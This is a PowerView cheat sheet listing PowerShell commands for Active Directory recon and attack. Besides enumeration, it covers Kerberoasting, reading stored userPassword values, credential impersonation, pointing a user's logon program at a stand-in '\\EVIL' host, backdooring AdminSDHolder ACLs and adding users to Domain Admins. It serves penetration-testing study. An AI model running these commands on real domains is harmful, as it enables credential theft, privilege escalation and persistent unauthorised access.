# PowerView The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) ### Quick enumeration ```bash Get-NetDomain #Basic domain info #User info Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set Get-NetUser -PreauthNotRequired #ASREPRoastable users Get-NetUser -SPN #Kerberoastable users #Groups info Get-NetGroup | select samaccountname, admincount, description Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders #Computers Get-NetComputer | select samaccountname, operatingsystem Get-NetComputer -Unconstrained | select samaccountname #DCs always appear but aren't useful for privesc Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrined Delegation Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups #Shares Find-DomainShare -CheckShareAccess #Search readable shares #Domain trusts Get-NetDomainTrust #Get all domain trusts (parent, children and external) Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found #LHF #Check if any user passwords are set $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl #Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened. Find-LocalAdminAccess #Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts. Invoke-UserHunter -CheckAccess #Find interesting ACLs Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl ``` ### Domain info ```bash # Domain Info Get-NetDomain #Get info about the current domain Get-NetDomain -Domain mydomain.local Get-DomainSID #Get domain SID ## Policy Get-DomainPolicy #Get info about the policy (Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge) (Get-DomainPolicy)."System Access" #Password policy (Get-DomainPolicy).PrivilegeRights #Check your privileges ## Domain Controller Get-NetDomainController -Domain mydomain.local #Get Domain Controller ``` ### Users, Groups and Computers ```bash # Users Get-NetUser #Get users with several (not all) properties Get-NetUser | select -ExpandProperty samaccountname #List all usernames Get-NetUser -UserName student107 #Get info about a user Get-NetUser -properties name, description #Get all descriptions Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount #Get all pwdlastset, logoncount and badpwdcount Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter ## Users Filters Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set Get-NetUser -PreauthNotRequired #ASREPRoastable users Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable Get-Netuser -TrustedToAuth #Useful for Kerberos constrain delegation Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation # retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? { ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') } #Groups Get-NetGroup #Get groups Get-NetGroup -Domain mydomain.local #Get groups of an specific domain Get-NetGroup 'Domain Admins' #Get all data of a group Get-NetGroup -AdminCount #Search admin grups Get-NetGroup -UserName "myusername" #Get groups of a user Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts) Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users Get-NetGPOGroup #Get restricted groups # Computers Get-NetComputer #Get all computer objects Get-NetComputer -Ping #Send a ping to check if the computers are working Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups ``` ### Logon and Sessions ```bash Get-NetLoggedon -ComputerName #Get net logon users at the moment in a computer (need admins rights on target) Get-NetSession -ComputerName #Get active sessions on the host Get-LoggedOnLocal -ComputerName #Get locally logon users at the moment (need remote registry (default in server OS)) Get-LastLoggedon -ComputerName #Get last user logged on (needs admin rigths in host) Get-NetRDPSession -ComputerName #List RDP sessions inside a host (needs admin rights in host) ``` ### Shared files and folders ```bash Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers Find-DomainShare -CheckShareAccess #Search readable shares Find-InterestingDomainShareFile #Find interesting files, can use filters ``` ### GPOs & OUs ```bash #GPO Get-NetGPO #Get all policies with details Get-NetGPO | select displayname #Get the names of the policies Get-NetGPO -ComputerName #Get the policy applied in a computer gpresult /V #Get current policy # Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}' #Get GPO of an OU #OU Get-NetOU #Get Organization Units Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case) ``` ### ACL ```bash Get-ObjectAcl -SamAccountName -ResolveGUIDs #Get ACLs of an object (permissions of other objects over the indicated one) Get-PathAcl -Path "\\dc.mydomain.local\sysvol" #Get permissions of a file Find-InterestingDomainAcl -ResolveGUIDs #Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"} #Check if any of the interesting permissions founds is realated to a username/group Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights #Get special rights over All administrators in domain ``` ### Domain Trust ```bash Get-NetDomainTrust #Get all domain trusts (parent, children and external) Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found Get-DomainTrustMapping #Enumerate also all the trusts Get-ForestGlobalCatalog #Get info of current forest (no external) Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible) Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)" Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust) Get-DomainForeingUser #Get users with privileges in other domains inside the forest Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest ``` ### L**ow**-**hanging fruit** ```bash #Check if any user passwords are set $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl #Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened. Find-LocalAdminAccess #(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed. .\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt #Enumerate machines where a particular user/group identity has local admin rights Get-DomainGPOUserLocalGroupMapping -Identity #Goes through the list of all computers (from DC) and executes Get-NetLocalGroup to search local admins (you need root privileges on non-dc hosts). Invoke-EnumerateLocalAdmin #Search unconstrained delegation computers and show users Find-DomainUserLocation -ComputerUnconstrained -ShowAll #Admin users that allow delegation, logged into servers that allow unconstrained delegation Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation #Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts. Invoke-UserHunter [-CheckAccess] #Search "RDPUsers" users Invoke-UserHunter -GroupName "RDPUsers" #It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers) Invoke-UserHunter -Stealth ``` ### Deleted objects ```bash #This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft #You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` ### MISC #### SID to Name ```bash "S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName ``` #### Kerberoast ```bash Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users ``` #### Use different credentials \(argument\) ```bash # use an alterate creadential for any function $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUser -Credential $Cred ``` #### Impersonate a user ```bash # if running in -sta mode, impersonate another credential a la "runas /netonly" $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Invoke-UserImpersonation -Credential $Cred # ... action Invoke-RevertToSelf ``` #### Set values ```bash # set the specified property for the given user identity Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose # Set the owner of 'dfm' in the current domain to 'harmj0y' Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y # ackdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All # Add user to 'Domain Admins' Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local ```